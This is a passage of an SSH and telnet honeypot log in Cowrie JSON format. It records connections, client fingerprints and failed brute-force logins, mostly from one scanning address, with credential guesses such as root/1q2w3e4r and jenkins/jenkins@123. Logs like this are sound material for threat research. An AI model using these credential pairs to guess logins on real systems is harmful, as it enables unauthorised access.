0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:17.378430Z","src_ip":"176.65.132.129","session":"4737777912ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tidb","password":"tidb@1234","message":"login attempt [tidb/tidb@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:17.628392Z","src_ip":"176.65.132.129","session":"4737777912ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:18.715501Z","src_ip":"176.65.132.129","session":"4737777912ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33960,"dst_ip":"10.17.0.5","dst_port":22,"session":"de01713ac468","protocol":"ssh","message":"New connection: 176.65.132.129:33960 (10.17.0.5:22) [session: de01713ac468]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:20.736267Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:20.741263Z","src_ip":"176.65.132.129","session":"de01713ac468","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:20.823160Z","src_ip":"176.65.132.129","session":"de01713ac468","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"root","message":"login attempt [deploy/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:21.068887Z","src_ip":"176.65.132.129","session":"de01713ac468","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:22.154745Z","src_ip":"176.65.132.129","session":"de01713ac468","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33964,"dst_ip":"10.17.0.5","dst_port":22,"session":"f48663d1d19f","protocol":"ssh","message":"New connection: 176.65.132.129:33964 (10.17.0.5:22) [session: f48663d1d19f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:24.104779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:24.113685Z","src_ip":"176.65.132.129","session":"f48663d1d19f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:24.195556Z","src_ip":"176.65.132.129","session":"f48663d1d19f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins@123","message":"login attempt [jenkins/jenkins@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:24.442487Z","src_ip":"176.65.132.129","session":"f48663d1d19f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.195.254.215","src_port":46124,"dst_ip":"10.17.0.5","dst_port":22,"session":"90a45fcb4c88","protocol":"ssh","message":"New connection: 199.195.254.215:46124 (10.17.0.5:22) [session: 90a45fcb4c88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:24.790217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:24.799430Z","src_ip":"199.195.254.215","session":"90a45fcb4c88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:25.432582Z","src_ip":"199.195.254.215","session":"90a45fcb4c88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:25.526863Z","src_ip":"176.65.132.129","session":"f48663d1d19f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":48092,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d6cc7690446","protocol":"telnet","message":"New connection: 38.60.198.128:48092 (159.203.135.109:23) [session: 9d6cc7690446]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:26.283358Z"}
{"eventid":"cowrie.session.closed","duration":43.513749837875366,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:26.826548Z","src_ip":"38.60.198.128","session":"daf5b191e151","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40936,"dst_ip":"10.17.0.5","dst_port":22,"session":"996dc7a95718","protocol":"ssh","message":"New connection: 176.65.132.129:40936 (10.17.0.5:22) [session: 996dc7a95718]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:27.602526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:27.609550Z","src_ip":"176.65.132.129","session":"996dc7a95718","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:27.691485Z","src_ip":"176.65.132.129","session":"996dc7a95718","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r","message":"login attempt [root/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:27.938262Z","src_ip":"176.65.132.129","session":"996dc7a95718","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ttuser","password":"ttuser","message":"login attempt [ttuser/ttuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:27.998109Z","src_ip":"199.195.254.215","session":"90a45fcb4c88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.005980491638184,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:28.174731Z","src_ip":"64.227.82.147","session":"9067f2c67a01","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:29.024638Z","src_ip":"176.65.132.129","session":"996dc7a95718","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:29.718212Z","src_ip":"199.195.254.215","session":"90a45fcb4c88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40950,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7f3e44fb917","protocol":"ssh","message":"New connection: 176.65.132.129:40950 (10.17.0.5:22) [session: d7f3e44fb917]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:31.003564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:31.009709Z","src_ip":"176.65.132.129","session":"d7f3e44fb917","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:31.092242Z","src_ip":"176.65.132.129","session":"d7f3e44fb917","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx","message":"login attempt [root/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:31.339015Z","src_ip":"176.65.132.129","session":"d7f3e44fb917","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:32.426955Z","src_ip":"176.65.132.129","session":"d7f3e44fb917","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40954,"dst_ip":"10.17.0.5","dst_port":22,"session":"96c36cd1a620","protocol":"ssh","message":"New connection: 176.65.132.129:40954 (10.17.0.5:22) [session: 96c36cd1a620]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:34.512905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:34.516043Z","src_ip":"176.65.132.129","session":"96c36cd1a620","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:34.597468Z","src_ip":"176.65.132.129","session":"96c36cd1a620","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa1234567890","message":"login attempt [root/Aa1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:34.842380Z","src_ip":"176.65.132.129","session":"96c36cd1a620","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.222.14","src_port":41916,"dst_ip":"159.203.135.109","dst_port":22,"session":"beda46b8ab93","protocol":"ssh","message":"New connection: 57.128.222.14:41916 (159.203.135.109:22) [session: beda46b8ab93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:35.523192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:35.527420Z","src_ip":"57.128.222.14","session":"beda46b8ab93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:35.641156Z","src_ip":"57.128.222.14","session":"beda46b8ab93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:35.927125Z","src_ip":"176.65.132.129","session":"96c36cd1a620","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password123456789","message":"login attempt [root/Password123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:36.130997Z","src_ip":"57.128.222.14","session":"beda46b8ab93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":59436,"dst_ip":"159.203.135.109","dst_port":23,"session":"4da9495bc6b3","protocol":"telnet","message":"New connection: 38.60.198.128:59436 (159.203.135.109:23) [session: 4da9495bc6b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:36.756382Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:37.246618Z","src_ip":"57.128.222.14","session":"beda46b8ab93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49658,"dst_ip":"10.17.0.5","dst_port":22,"session":"26a515898fe0","protocol":"ssh","message":"New connection: 176.65.132.129:49658 (10.17.0.5:22) [session: 26a515898fe0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:37.826459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:37.831030Z","src_ip":"176.65.132.129","session":"26a515898fe0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:37.914280Z","src_ip":"176.65.132.129","session":"26a515898fe0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.64284920692444,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:44:38.133159Z","src_ip":"38.60.198.128","session":"3128a367de54","protocol":"telnet"}
